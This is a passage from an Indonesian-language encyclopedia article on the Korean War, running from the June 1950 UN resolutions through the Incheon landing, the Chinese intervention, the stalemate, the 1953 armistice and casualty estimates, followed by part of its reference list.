Beberapa jam kemudian kemudian, Dewan Keamanan PBB dengan suara bulat mengecam invasi Korea Utara terhadap Republik Korea, melalui Resolusi 82 DK PBB, meskipun Uni Soviet dengan hak vetonya memboikot pertemuan sejak Januari.[29] Pada 27 Juni 1950, Presiden Truman memerintahkan angkatan udara dan laut AS untuk membantu rezim Korea Selatan. Setelah memperdebatkan masalah ini, DK PBB, pada 27 Juni 1950, menerbitkan Resolusi 83 yang merekomendasikan negara anggota memberikan bantuan militer kepada Republik Korea. Ketika menunggu pengumuman fait accompli dari dewan kepada PBB, Wakil Menteri Luar Negeri Uni Soviet menuduh Amerika memulai intervensi bersenjata atas nama Korea Selatan.[30]
Uni Soviet menentang legitimasi perang tersebut, karena (i) data intelejen tentara Korea Selatan yang menjadi sumber Resolusi 83 didapatkan dari intelejen AS; (ii) Korea Utara (Republik Demokratik Rakyat Korea) tidak diundang sebagai anggota sementara PBB, yang berarti melanggar Piagam PBB Pasal 32; dan (iii) perang Korea berada di luar lingkup Piagam PBB, karena perang perbatasan Utara-Selatan awalnya dianggap sebagai perang saudara. Selain itu, perwakilan Soviet memboikot PBB untuk mencegah tindakan Dewan Keamanan, dan menantang legitimasi tindakan PBB; ahli hukum mengatakan bahwa untuk memutuskan suatu tindakan diperlukan suara bulat dari 5 anggota tetap DK PBB.[31][32]
Korea Utara memulai "Perang Pembebasan Tanah Air" dengan melakukan invasi darat dan udara dengan 231.000 tentara, yang berhasil menguasai objek dan wilayah sesuai dengan yang direncanakan seperti Kaesŏng, Chuncheon, Uijeongbu, dan Ongjin, yang mereka dapatkan setelah mengerahkan 274 tank T-34-85, 150 pesawat tempur Yak, 110 pesawat pengebom, 200 artileri, 78 pesawat latihan Yak, dan 35 pesawat mata-mata.[14]
Sebagai tambahan pasukan invasi, tentara Korut memiliki 114 pesawat tempur, 78 pesawat pengebom, 105 T-34-85, dan 30.000 pasukan yang berpangkalan di Korea Utara.[14] Di laut, meskipun hanya terdiri dari beberapa kapal perang kecil, juga terjadi pertempuran yang cukup sengit antara keduanya.
Di pihak lain, tentara Korea Selatan masih belum siap. Pada South to the Naktong, North to the Yalu (1998), R.E. Applebaum melaporkan bahwa tentara Korea Selatan memiliki tingkat kesiapan tempur yang rendah pada 25 Juni 1950. Tentara Korea Selatan hanya memiliki 98.000 tentara (65.000 tentara tempur, 33.000 tentara penyokong), tidak memiliki tank, dan 22 pesawat yang terdiri dari 12 pesawat tipe penghubung dan 10 pesawat latihan AT6. Selain itu tidak ada pasukan asing yang berpangkalan di Korea saat itu - meskipun terdapat pangkalan AS di Jepang.[14]
Dalam jangka waktu beberapa hari saja, banyak tentara Korea Selatan — yang kurang loyal terhadap rezim Syngman Rhee — lari ke selatan atau malah berkhianat dan bergabung dengan tentara Korea Utara.[8]

[sunting] Aksi Polisional: Intervensi Amerika Serikat


Jenderal MacArthur, UN Command CiC (duduk), mengamati penembakan laut di Incheon dari USS Mt. McKinley, 15 September 1950.

Infantri AS mengambil posisi, 1950–53.

Seorang anak Korea melintasi tank M-46.

Seorang infantri menghibur tentara lainnya.

Tank AS di Song Sil-li, Korea, 10 Januari 1952.
Meskipun terjadi demobilisasi besar-besaran pasca Perang Dunia II di tubuh sekutu, ada sepasukan tentara AS di Jepang dengan jumlah yang cukup besar di bawah pimpinan Jenderal MacArthur. Mereka bisa melawan Korea Utara.[8] Selain AS, di sana, Inggris juga memiliki kekuatan tempur yang hampir sama besarnya.
Pada hari sabtu 24 Juni 1950, Menteri Luar Negeri AS Dean Acheson memberi tahun Presiden Harry S. Truman melalui telepon, "Bapak Presiden, saya memiliki berita yang sangat serius. Korea Utara telah menyerang Korea Selatan."[33][34] Truman dan Acheson mendiskusikan sebuah serangan balasan sebagai respon yang akan diambil AS dengan pimpinan departemen pertahanan, yang setuju bahwa Amerika Serikat harus mengusir agresi militer, lalu menghubungkannya dengan agresi Adolf Hitler di tahun 1930 (yang ketika itu didiamkan AS). Kesalahan seperti itu tidak boleh terulang.[35] Presiden Truman mengakui bahwa pertempuran ini berkaitan dengan usaha Amerika mencegah komunisme yang semakin mengglobal:
"Komunisme sedang beraksi di Korea, sebagaimana yang dilakuan Hitler, Mussolini, dan Jepang lakukan sepuluh, lima belas, dan dua puluh tahun yang lalu. Saya merasa yakin bila Korea Selatan dibiarkan jatuh, pemimpin Komunis akan semakin melebarkan kekuasaannya hingga ke negara dekat pantai kita sendiri. Jika komunis dibiarkan memaksakan kehendak mereka di Republik Korea tanpa perlawanan dari dunia yang bebas, negara-negara kecil lainnya akan kehilangan keberanian untuk melawan ancaman dan agresi dari tetangga Komunisnya yang lebih kuat."[36]
Presiden Harry S. Truman mengumumkan bahwa AS akan melawan "agresi yang tidak diprovokasi" dan "bersemangat mendukung upaya dewan keamanan [PBB] untuk mengakhiri pelanggaran serius terhadap perdamaian.[37] Pada Agustus 1950, Presiden dan Sekretaris Negara dengan mudah membujuk Kongres mengegolkan $12 miliar untuk menambah anggaran militer di Asia yang penting untuk mencapai tujuan National Security Council Report 68 (NSC-68), penahanan global AS terhadap komunisme.[37]
Atas rekomendasi Acheson, Presiden Truman memerintahkan Jenderal MacArthur mengirim material kepada tentara Republik Korea dan memberikan perlindungan udara pada evakuasi warga negara Amerika Serikat. Akan tetapi, presiden menolak mengebom Korea Utara secara langsung. Selain itu, presiden juga memerintahkan Armada ke-7 AS untuk melindungi Taiwan, yang meminta untuk ikut bertempur di Korea. Akan tetapi presiden menolak permintaan itu dengan alasan dapat memancing kemarahan Cina.[38]
Pertempuran Osan adalah pertempuran besar pertama antara AS dan Korea Utara di Perang Korea.[8] Pada 5 Juli 1950, Task Force Smith menyerang Korea Utara di Osan, namun karena tidak membawa senjata yang mampu menghancurkan tank Korea Utara, mereka gagal, dengan total 180 orang tewas, terluka, atau tertangkap. Korea Utara maju ke Selatan, memaksa Divisi ke-24 AS mundur ke Taejeon, yang di kemudian hari juga berhasil dikuasai Korea Utara pada Pertempuran Taejon;[8] Divisi ke-24 menderita 3.602 tewas atau terluka dan 2.962 ditangkap—termasuk komandan divisi Mayor Jendral William F. Dean.[8] Di udara, Angkatan Udara Korea Utara menembak jatuh 18 pesawat tempur dan 29 pengebom AS; sementara AS hanya menjatuhkan 5 pesawat tempur Korea Utara.
Di bulan Agustus, Korea Utara berhasil menekan Korea Selatan dan tentara AS ke kota Pusan, di Korea Tenggara.[8] Dalam serangan itu, Korea Utara menghabisi akademisi Korea Selatan dengan membunuh pegawai negeri dan kaum intelektual.[8] Pada 20 Agustus, Jenderal MacArthur memperingatkan pemimpin Korea Utara Kim Il-Sung bahwa ia bertanggung jawab terhadap kekejaman tentara Korea Utara.[8][26] Hingga bulan September, tentara PBB hanya bisa mengontrol pinggiran kota Pusan, atau hanya 10% dari wilayah KoEskalasi

Perang udara: USAF menyerang Wonsan selatan rel kereta api, pantai timur Korea Utara.
Dalam keputusasaan di Pertempuran Perimeter Pusan (Agustus-September 1950), Angkatan Darat Amerika Serikat menahan serangan tentara Korut yang bermaksud merebut kota. Tak lama kemudian, USAF dapat menghambat logistik tentara Korut dengan menghancurkan 32 jembatan.[8]. USAF juga menghancurkan depot logistik, penyulingan minyak, dan pelabuhan untuk menghambat pasokan material tentara Korut. Sebagai akibatnya, tentara Korut di semenanjung Selatan tidak bisa mendapatkan pasokan.
Di saat yang sama, garnisun AS di Jepang terus-menerus mengirim tentara dan bahan untuk memperkuat Perimeter Pusan.[8] Batalion tank dikerahkan ke Korea dari San Francisco (di daratan Amerika Serikat); pada akhir Agustus, Perimeter Pusan memiliki sekitar 500 tank.[8] Pada awal September 1950, tentara Republik Korea dan pasukan komando PBB menyerang balik 100.000 tentara Korut dengan 180.000 pasukan.[8][14]

Pertempuran Incheon

Keadaan di Pusan Perimeter telah berbalik; tentara Korut mulai kekurangan orang dan pasokan sementara di sisi Republik Korea pasukan telah mendapatkan mendapatkan tambahan senjata dan amunisi.[8] Untuk membantu pertahanan di Perimeter Pusan, Jenderal MacArthur merekomendasikan sebuah pendaratan amfibi di Incheon, di belakang garis pertahanan Korut.[8] Pada 6 Juli, ia memerintahkan Mayor Jenderal Hobart Gay, komandan Divisi Kavaleri pertama, untuk merencanakan pendaratan amfibi tersebut pada 12—14 Juli, Divisi Kavaleri pertama berangkat dari Yokohama untuk membantu Divisi Invantri ke-24.[39]
Operasi yang disebut sebagai Operasi Chromite ini dilaksanakan saat gelombang ombak mengganas.[8] Jenderal McArthur telah lama merencanakan penyerbuan ini, namun Pentagon selalu mencegahnya.[8] Ketika mendapatkan otoritas, ia mengerahkan pasukannya yang terdiri dari 70.000 infantri Divisi Marinir Pertama, Divisi Infantri ke-7, dan 8.600 tentara Republik Korea.[8] Pada tanggal hari-h tanggal 15 September, tim penyerang menghadapi sedikit—namun kuat—tentara Korut; intelijen militer, operasi psikologis, pengintaian, dan pengeboman turut berperan dalam operasi ini. Pengeboman itu sendiri menghancurkan sebagian besar kota Incheon.[8]
Pendaratan Incheon memungkinkan Divisi Kavaleri Pertama untuk mulai menyerang ke bagian utara. Mereka maju 106.4 mil ke dalam wilayah musuh dan kemudian bergabung dengan Divisi Infantri Ke-7 di Osan.[2] Perlahan-lahan mereka menghabisi tentara Korut, dan mengepung yang masih tersisa di wilayah Korea Selatan;[8] dengan cepat, Jenderal MacArthur merebut kembali Seoul;[8] namun tentara Korut yang nyaris terkepung berhasil kabur ke Utara dengan hanya 25.000 hinga 30.000 pasukan tersisa.[40]

Serangan PBB: Invasi ke Korea Utara (September–Oktober 1950)

Pada tanggal 1 Oktober 1950, Komando PBB mendorong tentara Korut hingga ke Utara, melewati paralel ke-38, Republik Korea kemudian mengejar mereka masuk ke wilayah Korea Utara.[8] Enam hari kemudian, pada 7 Oktober, dengan otorisasi dari PBB, pasukan Komando PBB mengikuti pasukan Republik Korea menyerang ke wilayah Utara.[8] Angkatan Darat AS kedepalam dan tentara Republik Korea menyerang ke bagian Barat Korea, dan berhasil merebut Pyongyang, ibukota Korea Utara, pada 19 Oktober 1950. Di akhir bulan, pasukan PBB menahan 135,000 tawanan perang; dan mereka melihat adanya perpecahan di tentara Korea Utara.
Jenderal MacArthur dan beberapa politisi Amerika sempat mengusulkan untuk menyerang Komunis Cina untuk menghancurkan depot Tentara Rakyat China yang memasok kebutuhan perang Korea Utara, namun Presiden Truman tidak setuju, dan memerintahkan Jenderal MacArthur tidak melewati perbatasan Sino-Korea.[8]

Pertempuran urban:Marinir Amerika Serikat bertempur untuk merebut ibukota Korea Utara.

Intervensi Cina

Pada 27 Juni 1950, dua hari setelah invasi terhadap Korut dan tiga bulan sebelum intervensi Cina untuk Perang Korea, Presiden Truman mengirimkan Armada 7 AS ke Selat Taiwan, untuk melindungi Republik Nasionalis Cina dari ancaman Republik Rakyat China (RRC).[41] Tanggal 4 Agustus 1950, Mao Zedong melapor kepada Politbiro bahwa ia akan melakukan intervensi bila Tentara Relawan Rakyat (PVA) sudah siap untuk dimobilisasi. Pada 20 Agustus 1950, Perdana Menteri Zhou Enlai menginformasikan Perserikatan Bangsa-Bangsa bahwa "Korea adalah tetangga Cina... Rakyat Cina harus terlibat mencari solusi untuk masalah Korea "-dengan demikian, melalui diplomat dari negara netral, Cina memperingatkan AS, bahwa dalam menjaga keamanan nasional Cina, mereka akan melakukan intervensi terhadap Komando PBB di Korea.[8] Presiden Truman menafsirkan pesan ini sebagai "sebuah usaha untuk pemerasan terhadap PBB", dan mengabaikannya.[42] Politbiro mengizinkan intervensi Cina di Korea pada tanggal 2 Oktober 1950-sehari setelah tentara Republik Korea menyeberangi perbatasan 38-paralel.[43] Kemudian, Cina mengklaim bahwa pesawat-pesawat pembom AS telah melanggar wilayah udara nasional RRC dalam perjalanannya menuju Korea Utara-sebelum Cina melakukan invervensi di Korea Utara. [44]

Senjata AS:Tentara Amerika Serikat mengawaki sebuah 105 mm howitzer, Uirson, Korea, Agustus 1950.

Operasi sapu-bersih: Marinir pertama Divisi Infantri menahan tentara PVA di front tengah, Hoengsong, Korea, 2 Maret 1951.
Pada bulan September, di Moskow, Perdana Menteri RRC Zhou Enlai menambahkan tekanan diplomatik dan personal dalam telegram Mao kepada Stalin, meminta bantuan militer dan material. Stalin menundanya; Mao dijadwalkan kembali meluncurkan "Perang Melawan Bala Bantuan Amerika dan Korea" dari 13 ke 19 Oktober 1950. Uni Soviet hanya mau memberikan bantuan serangan udara di bagian Utara Sungai Yalu. Namun Mao menganggap bantuan itu tidak berguna karena pertempuran lebih banyak terjadi di sisi Selatan sungai tersebut.[45] Soviet juga membatasi bantuannya dan hanya mau mengirimkan material berupa truk, senjata mesin, granat, dan sejenisnya.[46]
Pada 8 Oktober 1950, sehari setelah tentara AS menyebrang ke wilayah Korea Utara, Mao Zedong memerintahkan Tentara Pembebasan Rakyat Frontier Barat Laut direorganisasi ke dalam People's Volunteer Army (PVA),[47] yang sedang bertempur dalam "Perang Melawan Amerika dan Membantu Korea." Mao menjelaskan kepada Stalin: "Bila kita membiarkan Amerika Serikat menduduki seluruh Korea, kekuatan revolusioner Korea akan mendapatkan kekalahan telak, penjajah Amerika akan merajalela dan memberikan efek negatif terhadap seluruh Timur Jauh."
Pengintaian udara AS mengalami kesulitan menemukan unit PVA di siang hari karena disiplin yang mereka miliki.[8] PVA bergerak dari "malam-ke-malam" (19.00-03.00) dan membuat kamuflase agar tak terlihat dari udara pada jam 05.30. Di siang hari, mereka mengirim tim untuk mencari lokasi istirahat dan mendirikan bivak. Bila pesawat melintas, mereka diharuskan untuk diam tak bergerak hingga pesawat tersebut menghilang. Perwira PVA diperbolehkan menembak pasukannya yang dianggap dapat mengancam keamanan pasukan.[14] Disiplin yang keras seperti itu membuat tiga divisi pasukan berjalan sejauh 286 mil (460 km) dari An-tung, Manchuria, ke medan pertempuran dalam 19 hari; divisi lain yang melewati daerah pegunungan berliku mampu berjalan rata 18 mil (29 km) setiap harinya selama 18 hari.
Pada 10 Oktober 1950, Batalion Tank ke-89 digabungkan dengan Divisi Kavaleri Pertama, menambah jumlah kendaraan baja yang tersedia untuk menyerang ke Utara. Pada 15 Oktober, setelah menghadapi perlawanan Korut, Resimen Kavaleri ke-7 dan Charilie Company, Batalion Tank ke-70 berhasil menguasai kota Namchonjam. Pada 17 Oktober, mereka menyerang lewat arah kanan, menjauhi jalan utama, untuk menguasai Hwangju. Dua hari kemudian, Divisi Pertama Kavaleri menguasai Pyongyang, ibu kota Korea Utara, sehingga pada 19 Oktober 1950 tentara AS sepenuhnya menguasai Korea Utara.
Di tempat lain, 15 Oktober 1950, Presiden Truman dan Jen. MacArthur bertemu di Wake Island di tengah Samudera Pasifik.[8] Kepada Presiden Truman, Jen. MacArthur berspekulasi bahwa kecil risiko China akan mengintervensi di Korea;[8] bahwa kesempatan tentara China membantu Korut telah hilang; bahwa China memiliki 300.000 tentara di Manchuria, dan sekitar 100.000-125.000 tentara di Sungai Yalu; dan menyimpulkan bahwa meskipun setengah dari seluruh tentara menyebrang ke Selatan, mereka dapat dengan mudah dihancurkan karena tidak memiliki perlindungan udara.[40][48]
Setelah menghadapi dua pertempuran kecil pada 25 Oktober, pertempuran besar pertama antara China-Amerika terjadi pada 1 November 1950; jauh di wilayah Korea Utara, ribuan tentara China mengepung dan menyerang unit Komando PBB dalam Pertempuran Unsan.[49] Di Barat, akhir November, di sepanjang Sungai Chongchon, tentara China menyerang dan mengalahkan beberapa divisi Korea Selatan, dan menghabisi tentara PBB yang tersisa.[8] Pasukan PBB dan tentara ke-8 AS berhasil bergerak mundur[50] karena mendapat dukungan Brigade Turki yang menahan serangan China selama 4 hari (26-30 November). Di Timur, pada Pertempuran Chosin Reservoir , dan Regimental Combat Team Divisi Infantri ke-7 (3000 tentara) dan divisi marinir (12.000—15.000 marinir) juga mundur setelah dikepung, dengan total tewas secara keseluruhan 15.000 orang.[51]
Awalnya, infantri tentara China di garis depan tidak memiliki persenjataan berat maupun crew-served light infantry weapons, namun dengan cepat mereka menutupi kelemahan yang mereka miliki; dalam How Wars Are Won: The 13 Rules of War from Ancient Greece to the War on Terror (2003), Bevin Alexander melaporkan:
Metodenya adalah dengan menggabungkan unit-unit peleton yang terdiri dari 50 orang ke dalam kompi yang berisi 200 orang, yang kemudian dibagi lagi menjadi beberapa unit kecil. Satu tim memotong jalan lari tentara Amerika, yang lainnya menyerang baik dari arah depan maupun samping secara bersamaan. Penyerangan berlanjut dari segala arah hingga pasukan musuh dihancurkan atau terpaksa kabur.
Dalam South to the Naktong, North to the Yalu, R.E. Appleman menggambarkan taktik menyerang tentara China:
Dalam Serangan Fase Pertama, tentara infantri ringan menjalankan taktik penyerangan, umumnya tidak membawa senjata yang lebih besar dari mortar. Serangan mereka menggambarkan betapa pasukan China sangat terlatih, disiplin, dan sangat ahli dalam penyerangan di malam hari. Mereka ahli dalam seni kamuflase. Unit patroli ahli dalam menemukan posisi musuh. Mereka merencanakan serangan mereka dari sisi belakang musuh, memotong jalur mundur dan persediaan mereka, kemudian menyerang dari depan dan samping untuk mengendapkan pertempuran. Mereka juga melakukan taktik yang mereka sebut sebagai hachi Shiki, di mana mereka membentuk formasi-V dan membiarkan musuh masuk ke formasi itu, kemudian memerintahkan pasukan lain menunggu di formasi V untuk mencegat pasukan musuh lainnya yang berusaha menyelamatkan pasukan yang sedang terkepung. Taktik ini berhasil di Onjong, Unsan, dan Ch'osan, namun tidak sepenuhnya berhasil di Pakch'on dan Ch'ongch'on.[14]
Di akhir November, tentara China berhasil mengusir pasukan Komando PBB dari timur laut Korea Utara, hingga melewati perbatasan paralel ke-38. Pasukan PBB lari ke pantai timur dan membangun pertahanan di kota pelabuhan Hungnam—dan menunggu bantuan di sana. Pada Desember 1950,[8] 193 kapal yang membawa 105.000 tentara, 98.000 penduduk sipil, 17.500 kendaraan, dan 350.000 ton suplai tiba di Pusan, di bagian selatan tanjung korea.[8] Sebelum kabur, pasukan Komando melakukan operasi untuk menghambat pergerakan pasukan musuh dengan menghancurkan sebagian besar kota Hungam[40][52] dan, pada 16 Desember 1950, Presiden Truman mendeklarasikan keadaan kedaruratan nasional melalui Proklamasi Presidensial No. 2914, 3 C.F.R. 99 (1953),[53] yang berlaku hingga 14 September 1978.[54]

Menyeberangi paralel: Penyerangan Musim Dingin China (awal 1951)


USAF firepower: B-26 Invaders bomb logistics depots in Wonsan, North Korea, 1951.
Pada bulan Januari 1951, tentara Cina dan Korut melaksanakan Penyerangan Fase Ketiga (atau dikenal pula dengan sebutan "Penyerangan Musim Dingin Cina") menggunakan taktik serangan malam di mana tentara PBB secara diam-diam dikepung kemudian diserang tiba-tiba. Penyerangan itu juga didukung oleh bunyi-bunyi trompet dan gong dengan tujuan sebagai alat komunikasi kepada pasukan yang menyerang sekaligus membuat pasukan musuh mengalami disorientasi secara mental. Pasukan PBB tidak memiliki pengalaman menghadapi taktik seperti ini dan sebagai hasilnya beberapa pasukan langsung lari meninggalkan persenjataannya ke arah Selatan.[8] Penyerangan Musim Dingin China ini berhasil membuat pasukan PBB kewalahan. Tentara China dan Korut berhasil menguasai Seoul pada 4 Januari 1951.
Selain kekalahan itu, tentara AS juga mengalami pukulan telak setelah Jendral Walker tewas akibat kecelakaan mobil, yang membuat moral pasukan menurun.[8] Kejadian ini hampir memaksa Jendral MacArthur menggunakan bom atom untuk menyerang China dan Korut serta memotong jalur persediaan mereka.[55] Akan tetapi, dengan datangnya pengganti Walker, Letnan-Jendral Matthew Ridgway, moral pasukan kembali meningkat.[8]
Pasukan PBB di bagian barat mundur ke Suwon, di bagian tengah mundur ke Wonju, di bagian timur mundur ke Samchok, di mana garis depan distabilisasi dan dipertahankan.[8] Tentara China mulai kehabisan logistik dan terpaksa membatalkan rencananya menyerang lebih jauh;[8] makanan, amunisi, dan material dibawa di malam hari, dengan berjalan kaki atau sepeda, melewati Sungai Yalu. Pada akhir Januari, setelah menemukan bahwa musuh telah meninggalkan garis pertempuran, Jendral Ridgway memerintahkan operasi mata-mata yang dikenal sebagai Operasi Roundup (5 Februari 1951) yang berlangsung secara bertahap sambil mempertahankan superioritas udara tentara PBB.[8] Operasi ini sukses dan mengakibatkan tentara PBB mampu mencapai Sungai Han dan menguasai Wonju.[8] Pada pertengahan Februari, tentara China menyerang balik dengan Penyerangan Fase Keempat, yang dilancarkan dari Hoengsong menghadapi tentara AS di Chipyong-ni, di bagian tengah.[8] Tentara AS dan Tentara Perancis berjuang menghadapi serangan itu dalam sebuah pertempuran singkat namun cukup menghambat efektifitas serangan China.[8]
Pada dua minggu terakhir Februari 1951, Operasi Roundup diikuti oleh Operasi Killer (pertengahan Februari 1951) yang dilancarkan oleh Angkatan Bersenjata ke-8. Operasi tersebut merupakan serangan berskala penuh untuk menewaskan sebanyak mungkin tentara KPA dan PVA.[8] Operation Killer berakhir dengan I Corps menduduki kembali wilayah di sebelah selatan sungai Han, dan IX Corps merebut Hoengsong.[8] Pada 7 Maret 1951, Angkatan Bersenjata ke-8 melancarkan Operasi Ripper, dan berhasil mengusir PVA dan KPA dari ibukota Korea Selatan pada 14 Maret 1951.[8][56]
Pada tanggal 11 April 1951, Kepala Komando Truman membebastugaskan Jendral MacArthur, Panglima Tertinggi di Korea, karena dianggap melakukan pembangkangan[8] dan menunjuk Ridgway Jendral untuk menggantikannya.[8] Serangan-serangan berikutnya , antara lain operasi Courageous (23-28 Maret 1951) dan Tomahawk (23 Maret 1951), berhasil mendorong mundur tentara China dan Korut. Tentara PBB maju ke "Garis Kansas", bagian utara paralel ke-38.[8]

Hill 105: Tentara China terbunuh dalam pertempuran melawan Divisi Pertama Marinir, Korea, 1951.
China melakukan serangan balasan pada bulan April 1951, dengan Penyerangan Fase Kelima (dikenal pula sebagai "Penyerangan Musim Semi China") dengan tiga tentara lapangan (field army) (sekitar 700.000 orang)[8] Serangan utama terjadi di Sungai Imjin (22-25 April 1951) dan Kapyong (22-25 April 1951), yang dipertahankan mati-matian oleh tentara AS dan menumpulkan daya dorong Penyerangan Fase Kelima dan akhirnya berenti di No-name Line di Utara Seoul.[8] Pada tanggal 15 Mei 1951, tentara China di timur menyerang Tentara Republik Korea dan Amerika Serikat, namun berhasil dihentikan tanggal 20 Mei.[8] Pada akhir bulan, Angkatan Darat Amerika Serikat melakukan serangan balasan dan merebut kembali "Line Kansas", tepat di bagian Utara paralel 38.[8] PBB kemudian menghentikan serangan dan bertahan di sana, mengakibatkan keadaan kebuntuan hingga gencatan senjata tahun 1953.

Kebuntuan (Juli 1951—Juli 1953)

Pada tahun-tahun berikutnya, tentara PBB dan China tetap berperang, namun perubahan wilayah kekuasaan tidak banyak berubah dan terjadi kebuntuan. Sementara pengeboman wilayah Korea Utara terus berlangsung, perundingan gencatan senjata dimulai tanggal 10 Juli 1951 di Kaesong.[8][8] Pertempuran juga terus berlangsung meskipun perundingan tengah berjalan; tujuan Korsel-PBB adalah untuk merebut kembali seluruh Korea Selatan dan menghindari kehilangan wilayah.[8] Tentara China dan Korut juga melakukan operasi serupa serta melakukan operasi-operasi psikologikal. Pertempuran-pertempuran utama dalam fase ini antar alain Pertempuran Bloody Ridge(18 Agustus—15 September 1951)[8] dan Pertempuran Heartbreak Ridge (13 September—15 Oktober 1951), Pertempuran Old Baldy (26 Juni—4 Agustus 1952), Pertempuran White Horse (6–15 Oktober 1952), Pertempuran Triangle Hill (14 Oktober—25 November 1952), dan Pertempuran Hill Eerie(21 Maret—21 Juni 1952), pengepungan Outpost Harry (10—18 Juni 1953), Pertempuran Hook (28—29 Mei 1953), dan Pertempuran Pork Chop Hill (23 Maret—16 Juli 1953).

Pergolakan dan perubahan wilayah kekuasaan hingga mengalami kebuntuan.
Negosiasi gencatan senjata berlanjut selama dua tahun;[8] di Kaesong (Korea Utara bagian Selatan), kemudian di Panmunjon (perbatasan kedua Korea).[8] Problem utama dari negosiasi ketika itu adalah repatriasi tawanan perang.[8] China, Korea Utara, dan tentara PBB tidak bisa membuat kesepakatan karena banyak tentara China dan Korea Utara yang menolak kembali ke Utara.[57] Dalam perjanjian gencatan senjata terakhir, sebuah Komisi Repatriasi Negara-Negara Netral dibentuk untuk mengurusi masalah tersebut.[8][58]
Pada tahun 1952, AS memilih presiden baru, dan pada tanggal 29 November 1952, presiden terpilih Dwight D. Eisenhower terbang ke Korea untuk mempelajari hal-hal yang mungkin dapat mengakhiri perang Korea.[8] Pada 27 Juli 1953, proposal gencatan senjata dari India disetujui oleh Korea Utara, China, dan tentara PBB sehingga mereka sepakat untuk melakukan gencatan senjata dengan batas di paralel ke-38. Dalam persetujuan tersebut tertulis bahwa pihak-pihak yang terlibat menciptakan sebuaeh Zona Demiliterisasi Korea. Tentara PBB, yang didukung oleh Amerika Serikat, Korea Utara, dan China menandatangani Perjanjian Gencatan Senjata; Presiden Korea Selatan Syngman Rhee menolak untuk menandatangani perjanjian itu, karenanya Republik Korea dianggap tidak berpartisipasi dalam perjanjian tersebut.[59]

Buntut Pertempuran Chosin: Operasi Glory

Setelah perang, pasukan PBB menguburkan pasukannya yang tewas di pemakaman sementara di Hŭngnam. Dengan Operasi Glory (Juli-November 1954), masing-masing pihak saling bertukar mayat pasukannya. Mayat 4.167 angkatan darat dan Korps Marinir AS ditukar dengan 13.528 mayat tentara China dan Korut. Sebanyak 546 penduduk sipil yang tewas di kamp tahanan perang PBB diserahkan kepada pemerintahan Korsel.[60] Setelah Operasi Glory, 416 "prajurit tak dikenal" dimakamkan di Punchbowl Cemetery, Hawaii.[61][62]

Memorial Perang Korea dapat ditemukan di setiap markas PBB di negara-negara yang terlibat dalam Perang Korea; pada gambar terlihat memorial yang terletak di Pretoria, Afrika Selatan.

Korban perang

Tentara PBB dan AS menghitung jumlah tentara China dan Korea Utara yang tewas berdasarkan laporan korban-tewas di lapangan, interogasi tahanan perang, dan intelejen militer (dokumen, mata-mata, dan lain-lain).[63] Korban tewas: AS: 36.940 terbunuh, China:100.000—1.500.000 terbunuh; kebanyakan sumber memperkirakan 400.000 orang yang terbunuh; Korea Utara: 214,000–520,000; kebanyakan sumber memperkirakan 500.000 orang yang terbunuh. Korea Selatan: Rakyat sipil: 245.000—415.000 terbunuh; Total rakyat sipil yang tewas antara 1.500.000—3.000.000; kebanyakan sumber memperkirakan 2.000.000 orang tewas.[64]
Akhir perang
Perang ini berakhir pada 27 Juli 1953 saat Amerika Serikat, Republik Rakyat Cina, dan Korea Utara menandatangani persetujuan gencatan senjata. Presiden Korea Selatan, Seungman Rhee, menolak menandatanganinya namun berjanji menghormati kesepakatan gencatan senjata tersebut. Namun secara resmi, perang ini belum berakhir sampai dengan saat ini.
Referensi
  1. ^ On This Day 29 August 1950 from The BBC
  2. ^ The Korean War at Veterans Affairs Canada
  3. ^ [1] at Korean-War.com
  4. ^ French Participation in the Korean War Embassy of France, Retrieved October 31, 2006
  5. ^ "Remembering the Forgotten War: Korea, 1950-1953". Naval Historical Center. http://www.history.navy.mil/ac/korea/korea1.htm. Diakses pada 16 Agustus 2007. 
  6. ^ Halberstam, David (2007). The Coldest Winter: America and the Korean War. New York: Disney Hyperion. hlm. 2. ISBN 978-1-4013-0052-4. "Over half a century later, the war still remained largely outside American political and cultural consciousness. The Forgotten War was the apt title of one of the bestbooks on it. Korea was a war that sometimes seemed to have been orphaned by history." 
  7. ^ a b c "The Korean War, 1950–1953 (an extract from American Military History, Volume 2—revised 2005)". http://www.army.mil/cmh-pg/books/AMH-V2/AMH%20V2/chapter8.htm. Diakses pada 20 Agustus 2007. 
  8. ^ a b c d e f g h i j k l m n o p q r s t u v w x y z aa ab ac ad ae af ag ah ai aj ak al am an ao ap aq ar as at au av aw ax ay az ba bb bc bd be bf bg bh bi bj bk bl bm bn bo Stokesbury, James L (1990). A Short History of the Korean War. New York: Harper Perennial. ISBN 0688095135. 
  9. ^ a b c James F, Schnabel. "United States Army in the Korean War, Policy and Direction: The First Year". pp. 3, 18. http://www.history.army.mil/books/P&D.HTM. Diakses pada 19 Agustus 2007. 
  10. ^ "Treaty of Annexation (Annexation of Korea by Japan)". USC-UCLA Joint East Asian Studies Center. http://www.isop.ucla.edu/eas/documents/kore1910.htm. Diakses pada 19 Agustus 2007. 
  11. ^ a b c The Oxford Companion to World War II (1995) p. 516.
  12. ^ McCullough, David (1992). Truman. Simon & Schuster Paperbacks. hlm. 785, 786. ISBN 0671869205. 
  13. ^ R. Whelan Drawing the Line: the Korean War 1950–53; London (1990) p. 22.
  14. ^ a b c d e f g h i j k Appleman, Roy E (1998). South to the Naktong, North to the Yalu. Dept. of the Army. hlm. 3, 15, 381, 545, 771, 719. ISBN 0160019184. http://www.army.mil/cmh/books/korea/20-2-1/toc.htm. 
  15. ^ a b Cumings, Bruce (1981). Origins of the Korean War. Princeton University Press. chapter 4. ISBN 89-7696-612-0. 
  16. ^ Becker, Jasper (2005). Rogue Regime: Kim Jong Il and the Looming Threat of North Korea. New York: Oxford University Press, USA. hlm. 52. ISBN 019517044X. 
  17. ^ a b c Goulden, Joseph C (1983). Korea: The Untold Story of the War. McGraw-Hill. hlm. 17. ISBN 0070235805. 
  18. ^ McCune, Shannon C (1946-05), "Physical Basis for Korean Boundaries", Far Eastern Quarterly May 1946 (No. 5): 286–7 
  19. ^ Grajdanzev, Andrew (1945-10), "Korean Divided", Far Eastern Survey XIV: 282 .
  20. ^ Grajdanzev, Andrew, History of Occupation of Korea, I, hlm. 16 .
  21. ^ Halberstam, David (2007). The Coldest Winter: America and the Korean War. New York: Disney Hyperion. ISBN 978-1-4013-0052-4. 
  22. ^ Becker, Jasper (2005). Rogue Regime: Kim Jong Il and the Looming Threat of North Korea. New York: Oxford University Press, USA. hlm. 53. ISBN 019517044X. 
